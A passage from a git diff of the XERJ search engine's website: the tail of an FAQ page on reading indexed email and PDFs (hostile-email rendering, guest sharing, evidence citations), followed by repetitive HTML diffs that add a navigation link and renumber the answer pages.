attachment once. The email_message_id field is also copied to the attachments, but only when the message has a Message-ID header.++### Why does the panel of linked records say the links belong to the file?++The same-folder, Markdown-link and path-citation detectors link file records, not the records inside a file. The Reader reads the links of the email's file as well and marks them FILE.++### Is it safe to open a hostile email in the Reader?++The Reader builds the page from text nodes, never from markup, and links no URL found in a document. In the recorded run a script-bearing subject and attachment name were displayed as text and nothing executed. That is a tested design, not a guarantee against every browser bug.++### Why does the linked-records panel say the graph API refused my session?++On a node with auth on, which is the default, the console holds a passkey session and the graph API wants an API key. Search, records and attachments still work. The panel works on a node started with --insecure.++### Can I let someone else read one index without giving them my node?++The console has a read-only guest mode driven by a share record that names one key, the shared indices, an optional brain and an expiry. It can only search and read those indices, and it logs out on expiry.++## Evidence++- In the recorded run xerj brain turned 10 files into 81 records in one dataset, ax-docs, and wrote 33 links into the brain casefile. — `docs/usecases/console-reader/live-e2e.json`+- The shared index held 6 emails and 43 attachment records; the guest key got 200 on its own index and on the brain, 403 on another index, on autoindex-catalog and on a write, and 401 from the console API; the guest tab made 0 console API requests. — `docs/usecases/console-reader/live-e2e.json`+- The graph panel of the hostile email showed 2 linked records, both same_dir links of the file the email came from; the signed-in operator's graph panel was refused with HTTP 401 on the auth-enabled node. — `docs/usecases/console-reader/live-e2e.json`+- On an index where autoindex typed email_subject as keyword, match on email_subject for Lunch returned 0 hits with the subject Lunch on Friday? indexed, and the case-insensitive wildcard *lunch* returned 1. — `docs/usecases/console-reader/review-repro/review-repro.json`+- The console page is served with a Content-Security-Policy whose script-src and connect-src are 'self'. — `engine/crates/xerj-console-api/src/spa.rs`+- A guest session can build only _search, _count, _mapping and ego requests, and fails closed on a malformed or expired record. — `xerj-ux/src/data/guest.js`++## Related++- [I downloaded a bunch of papers as PDFs. How do I search across them?](/answers/search-all-pdfs-in-a-folder)+- [What's the best way to search markdown notes and PDFs in the same vault?](/answers/search-obsidian-pdf-docx-attachments)+- [I want to point something at a folder and then ask questions about what's in it. What should I use?](/answers/how-xerj-autoindexes-a-folder)+- [Should agent memory use a knowledge graph?](/answers/knowledge-graphs-for-agent-memory)+- [Auth & TLS](/docs/security)diff --git a/landing/answers/rebuild-reference-corpus-index.html b/landing/answers/rebuild-reference-corpus-index.htmlindex 668dadb3a..414345feb 100644--- a/landing/answers/rebuild-reference-corpus-index.html+++ b/landing/answers/rebuild-reference-corpus-index.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/reciprocal-rank-fusion-when-to-use.html b/landing/answers/reciprocal-rank-fusion-when-to-use.htmlindex 99d90a337..ed9b28607 100644--- a/landing/answers/reciprocal-rank-fusion-when-to-use.html+++ b/landing/answers/reciprocal-rank-fusion-when-to-use.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class="active"><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class="active"><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/reduce-embedding-api-cost.html b/landing/answers/reduce-embedding-api-cost.htmlindex a2d73a128..6df0a810c 100644--- a/landing/answers/reduce-embedding-api-cost.html+++ b/landing/answers/reduce-embedding-api-cost.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a 